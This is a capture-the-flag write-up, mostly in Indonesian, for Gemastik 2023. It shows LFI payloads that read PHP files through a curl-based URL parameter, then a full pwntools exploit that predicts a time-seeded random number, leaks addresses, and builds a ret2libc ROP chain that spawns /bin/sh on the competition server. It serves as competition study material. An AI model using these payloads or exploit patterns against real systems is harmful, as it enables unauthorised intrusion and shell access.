Write Up "Gemastik 2023"

Kerang Ajaib

By:

Frendy Sanusi
Frankie Huang
Edbert Eddyson Gunawan

Daftar Isi

WEB

Databreach

FLAG: -

Jadi dapat kita lihat dari source file php kalau web tersebut menggunakan .curl_exec(). Nah metode tersebut sangat rentan terhadap serangan karena bisa req ke mana saja. Jadi kita pertama coba-coba. Ternyata setelah mencoba didapatkan kalau terdapat celah LFI (Local File Inclusion)

Payload: ctf-gemastik.ub.ac.id/?url=file:///var/www/secret.php

Kemudian didapatkan juga kalau ternyata dibutuhkan config.php dari

Payload: ctf-gemastik.ub.ac.id/?url=file:///var/www/config.php

Setelah dari sini maka didapatkan bahwa ternyata butuh gopher. Sekian.

PWN

PWNWORLD

FLAG:
gemastik{bccba303abe920a10b0b12753ac5294e2e294ef997cadcf37d15b72940259d9e}

```
#!/usr/bin/python3
from pwn import *
import argparse

# ===========================================================
#                    SETUP FUNCTIONS
# ===========================================================

def print_message():
    cDFL = "\033[0m"
    cBLK = "\033[1;30m"
    cRED = "\033[1;31m"
    cGRN = "\033[1;32m"
    cYLW = "\033[1;33m"
    cBLU = "\033[1;34m"

    text = """
┌──────────────────────────────────────────┐
│        RUNNING EXPLOIT                   │
│                                          │"""

    if (args.debug):
        text += f"""
│   DEBUGGING   {cGRN}ENABLED{cDFL}          │"""
    else:
        text += f"""
│   DEBUGGING   {cRED}DISABLED{cDFL}         │"""

    if (args.interactive):
        text += f"""
│   INTERACTIVE {cGRN}ENABLED{cDFL}          │"""
    else:
        text += f"""
│   INTERACTIVE {cRED}DISABLED{cDFL}         │"""

    if (args.gdb):
        text += f"""
│   RUNNING     {cYLW}GDB{cDFL}              │
```

```
└──────────────────────────────────────────┘
"""
    elif (args.remote):
        text += f"""
│  RUNNING     {cBLU}REMOTE EXPLOIT{cDFL}   │
└──────────────────────────────────────────┘
"""
    else:
        text += f"""
│  RUNNING     {cBLK}LOCAL EXPLOIT{cDFL}    │
└──────────────────────────────────────────┘
"""

    print(text)

def initIO():
    print_message()
    if (args.debug):
        context.log_level = "debug"

    if (args.gdb):
        return pwnlib.gdb.attach(elf.process(), gdbscript=script)
    if (args.remote):
        return remote(server, port)
    return elf.process()

top_parser = argparse.ArgumentParser()

running = top_parser.add_mutually_exclusive_group()
running.add_argument("-g", "--gdb", action="store_true", dest="gdb",
help="connect to gdb")
running.add_argument("-r", "--remote", action="store_true",
dest="remote", help="connect to remote")
running.add_argument("-l", "--local", action="store_true", dest="local",
help="connect to local", default=True)

top_parser.add_argument("-d", "--debug", action="store_true",
dest="debug", default=False, help="enable/disable debugging")
top_parser.add_argument("-i", "--interactive", action="store_true",
dest="interactive", default=False, help="enable/disable interactive")
args = top_parser.parse_args()

# ===========================================================
#                       CONFIG SETUP
# ===========================================================
```

```python
from ctypes import CDLL
from ctypes.util import find_library

# LOCAL
file = "./pwnworld"
libc = ELF("./libc.so.6")
rand = CDLL(find_library('c'))
if (file != ""):
    elf = context.binary = ELF(file, checksec=False)

# REMOTE
server = "ctf-gemastik.ub.ac.id"
port = 10012

# GDB
context.terminal = "kitty"
script = """
b* main+211
"""

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

def get_random():
    time = rand.time(0)
    rand.srand(time)
    number = rand.rand()

    payload = number - ((((((number * 0x274a4871) >> 0x20) & 0xFFFFFFFF)
>> 6) - (number >> 0x1f)) * 0x1a1)

    io.sendline(str(payload).encode())

io = initIO()

io.recvuntil(b'guess? ')

get_random()

io.recvuntil(b'you: 0x')
gift_leak = int(io.recvline(False), 16)

elf.address = gift_leak - elf.sym['gift']

pop_rdi = next(elf.search(asm('pop rdi; ret')))
```

```
print(f'pop rdi: {pop_rdi:x}')

#pwnlib.gdb.attach(io, gdbscript=script)

offset = 280

payload = flat(
    b'A' * offset,
    pop_rdi,
    elf.got['puts'],
    elf.plt['puts'],
    elf.sym['main']
)

io.sendline(payload)

io.recvuntil(b'yaa\n')

get_random()

puts_leak = u64(io.recvline(False) + b'\x00\x00')

print(f'pop rdi: {pop_rdi:x}')
print(f'puts leak: {puts_leak:x}')

libc.address = puts_leak - libc.sym['puts']

system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))

print(f'system: {system:x}')
print(f'binsh: {binsh:x}')

payload = flat(
    b'A' * (offset-8),
    b'B' * 8,
    #libc.sym['system']
    pop_rdi+1,
    pop_rdi,
    binsh,
    system,
    0x0
)

io.sendline(payload)
```

```
if (args.interactive):
    io.interactive()
```

Jadi saat menjalankan `./pwnworld' intinya kan diminta sebuah angka. Angka tersebut dirandom sesuai dengan waktu saat program dijalankan. Pakai seed gitu. Kemudian gimana cari kita cari seed nya? Berarti kita jalanin script kita dengan kode itu dan keduanya dijalankan bersamaan. Selisihnya harus dibawah 1 ticks unix time. Nah trus, nanti kita dapat randomnya. Lalu randomnya kita kirim. Saat angka benar, maka akan diberikan fungsi gets. 1 merupakan alamat variabel global. Jadi kita bisa resolve elf.address nya. Trus setelah dapat itu, kita tinggal leak libc.addressnya. Kebetulan, file libc diberikan. Otomatis saat libc address dapat, ya kita bisa nge pop shell.

Cara nge pop shell. Pertama, kita nge leak GOT address dari fungsi puts(). Kalau udah dapat kita return ke main() dan kita bisa hitung lagi alamat dari libc-nya. Kalau alamat puts() nya udah dapat, kita bisa resolve libc address nya. Nah libc addressnya udah dapat, kita bisa cari gadget namanya pop rdi;ret Nah udah kayak gitu, kita bisa nyari fungsi system di libc dan string /bin/sh di libc. Lalu terakhir payloadnya itu padding sampai return address. Trus ret, trus pop rdi, trus /bin/sh, trus system lalu solved.